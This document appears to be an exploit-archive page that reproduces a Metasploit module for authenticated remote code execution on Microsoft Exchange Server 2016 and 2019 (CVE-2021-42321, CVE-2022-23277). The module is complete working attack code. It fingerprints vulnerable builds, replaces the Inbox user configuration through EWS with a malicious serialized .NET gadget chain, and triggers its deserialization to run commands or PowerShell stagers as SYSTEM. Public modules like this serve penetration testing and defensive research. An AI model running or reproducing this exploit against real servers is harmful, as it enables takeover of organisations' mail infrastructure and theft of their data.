Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution

2022.08.22

Credit: Spencer McIntyre

Risk: High

Local: No

Remote: Yes

CVE: CVE-2022-23277 | CVE-2021-42321

CWE: N/A

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HTTP::Exchange
  include Msf::Exploit::Deprecated
  moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',
        'Description' => %q{
          This module exploits vulnerabilities within the ChainedSerializationBinder as used in
          Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and
          Exchange Server 2016 CU22 all prior to Mar22SU.

          Note that authentication is required to exploit these vulnerabilities.
        },
        'Author' => [
          'pwnforsp', # Original Bug Discovery
          'zcgonvh', # Of 360 noah lab, Original Bug Discovery
          'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild
          'Microsoft Security Response Center', # Discovery of exploitation in the wild
          'peterjson', # Writeup
          'testanull', # PoC Exploit
          'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D
          'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains
          'Markus Wulftange' # CVE-2022-23277 research
        ],
        'References' => [
          # CVE-2021-42321 references
          ['CVE', '2021-42321'],
          ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],
          ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],
          ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],
          ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],
          ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],
          # CVE-2022-23277 references
          ['CVE', '2022-23277'],
          ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],
          ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']
        ],
        'DisclosureDate' => '2021-12-09',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'HttpClientTimeout' => 5,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169
            CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.
          ]
        }
      )
    )
    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),
      OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def cve_2021_42321_vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      '15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21
      '15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22
      '15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10
      '15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11
    ]
  end

  def cve_2022_23277_vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU
      '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU
      '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU
      '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU
      '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU
      '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU
      '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU
      '15.2.986.15'  # Exchange Server 2019 CU11 Jan22SU
    ]
  end

  def check
    # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version
    current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)
    if current_build_rex.nil?
      return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")
    end

    @exchange_build = current_build_rex.to_s

    if cve_2021_42321_vuln_builds.include?(@exchange_build)
      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")
    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")
    else
      CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")
    end
  end

  def exploit
    if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it
      @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s
      if @exchange_build.nil?
        fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')
      end
    end

    if cve_2021_42321_vuln_builds.include?(@exchange_build)
      @gadget_chain = :ClaimsPrincipal
    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
      @gadget_chain = :DataSetTypeSpoof
    else
      fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")
    end

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def execute_command(cmd, _opts = {})
    # Get the user's inbox folder's ID and change key ID.
    print_status("Getting the user's inbox folder's ID and ChangeKey ID...")
    xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
      <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
      <m:GetFolder>
        <m:FolderShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        </m:FolderShape>
        <m:FolderIds>
        <t:DistinguishedFolderId Id="inbox" />
        </m:FolderIds>
      </m:GetFolder>
      </soap:Body>
    </soap:Envelope>)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_getfolder_inbox,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end

    if res.code == 401
      fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")
    end

    xml_getfolder = res.get_xml_document
    xml_getfolder.remove_namespaces!
    xml_tag = xml_getfolder.xpath('//FolderId')
    if xml_tag.empty?
      print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')
      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
    end
    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
    end
    change_key_val = xml_tag.attribute('ChangeKey').value
    folder_id_val = xml_tag.attribute('Id').value
    print_good("ChangeKey value for Inbox folder is #{change_key_val}")
    print_good("ID value for Inbox folder is #{folder_id_val}")

    # Delete the user configuration object that currently on the Inbox folder.
    print_status('Deleting the user configuration object associated with Inbox folder...')
    xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:DeleteUserConfiguration>
          <m:UserConfigurationName Name="ExtensionMasterTable">
            <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
          </m:UserConfigurationName>
        </m:DeleteUserConfiguration>
      </soap:Body>
    </soap:Envelope>)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_delete_inbox_user_config,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end

    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
    else
      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
    end

    # Now to replace the deleted user configuration object with our own user configuration object.
    print_status('Creating the malicious user configuration object on the Inbox folder!')

    xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:CreateUserConfiguration>
          <m:UserConfiguration>
            <t:UserConfigurationName Name="ExtensionMasterTable">
              <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
            </t:UserConfigurationName>
            <t:Dictionary>
              <t:DictionaryEntry>
                <t:DictionaryKey>
                  <t:Type>String</t:Type>
                  <t:Value>OrgChkTm</t:Value>
                </t:DictionaryKey>
                <t:DictionaryValue>
                  <t:Type>Integer64</t:Type>
                  <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>
                </t:DictionaryValue>
              </t:DictionaryEntry>
              <t:DictionaryEntry>
                <t:DictionaryKey>
                  <t:Type>String</t:Type>
                  <t:Value>OrgDO</t:Value>
                </t:DictionaryKey>
                <t:DictionaryValue>
                  <t:Type>Boolean</t:Type>
                  <t:Value>false</t:Value>
                </t:DictionaryValue>
              </t:DictionaryEntry>
            </t:Dictionary>
            <t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>
          </m:UserConfiguration>
        </m:CreateUserConfiguration>
      </soap:Body>
    </soap:Envelope>)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_malicious_user_config,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end

    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
    end

    print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')

    # Deserialize our object. If all goes well, you should now have SYSTEM :)
    print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')
    xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:GetClientAccessToken>
          <m:TokenRequests>
            <t:TokenRequest>
              <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>
              <t:TokenType>CallerIdentity</t:TokenType>
            </t:TokenRequest>
          </m:TokenRequests>
        </m:GetClientAccessToken>
      </soap:Body>
    </soap:Envelope>)

    begin
      send_request_cgi(
        {
          'method' => 'POST',
          'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
          'data' => xml_get_client_access_token,
          'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
        }
      )
    rescue Errno::ECONNRESET
      # when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised
    end
  end
end

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Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution

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